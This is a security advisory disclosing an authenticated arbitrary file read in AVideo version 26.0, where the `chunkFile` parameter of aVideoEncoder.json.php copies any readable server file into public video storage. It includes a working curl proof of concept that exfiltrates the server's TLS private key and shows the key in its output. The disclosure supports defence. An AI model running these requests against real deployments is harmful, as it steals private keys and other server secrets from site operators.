EUVD-2026-14013

Description

## Summary `POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files. For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP. I confirmed this locally by creating an attacker-owned video, then calling `aVideoEncoder.json.php` with `videos_id=<own video>`, `format=mp4`, and `chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem`. The resulting public video URL returned the local TLS private key and began with `-----BEGIN PRIVATE KEY-----`. ## Affected Versions / Commit Tested on local Docker deployment from commit `db12d4c0141d40bfabd1e82577e8c4a3d044cd84`. The application reported version `26.0`. ## Preconditions - Authenticated account with upload permission. - Attacker owns at least one editable video record. - Target local file is readable by the web application user. ## Steps to Reproduce 1. Log in as an upload-capable low-privileged user. 2. Create any attacker-owned video via the normal upload endpoint to obtain `videos_id` and `filename`. 3. Send a POST request to `aVideoEncoder.json.php` with the attacker's own `videos_id`, an allowed `format`, and a server-local `chunkFile` path. 4. Download the resulting media object from `/videos/<filename>/<filename>.mp4`. ## Proof of Concept The included `poc.py` automates the exploit against the local instance. Manual reproduction: ```bash # 1. Login as low-priv uploader curl -s -c attacker.cookies \ -d 'user=attacker&pass=UserPass123!' \ http://127.0.0.1/objects/login.json.php >/dev/null # 2. Create an attacker-owned video printf 'x' > poc.mp4 curl -s -b attacker.cookies \ -F '[email protected];type=video/mp4' \ http://127.0.0.1/view/mini-upload-form/upload.php # Example response: # {"error":false,"title":"poc","filename":"poc_69bb86db62c308.68438735","videos_id":4,...} # 3. Copy a local file into the attacker's public video path curl -s -b attacker.cookies \ -d 'videos_id=4&format=mp4&title=poc&description=test&chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem' \ http://127.0.0.1/objects/aVideoEncoder.json.php # 4. Retrieve the copied file over HTTP curl -s \ http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | head ``` ## Observed Result The final GET returned the contents of the local TLS private key: ```text -----BEGIN PRIVATE KEY----- MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ... ```

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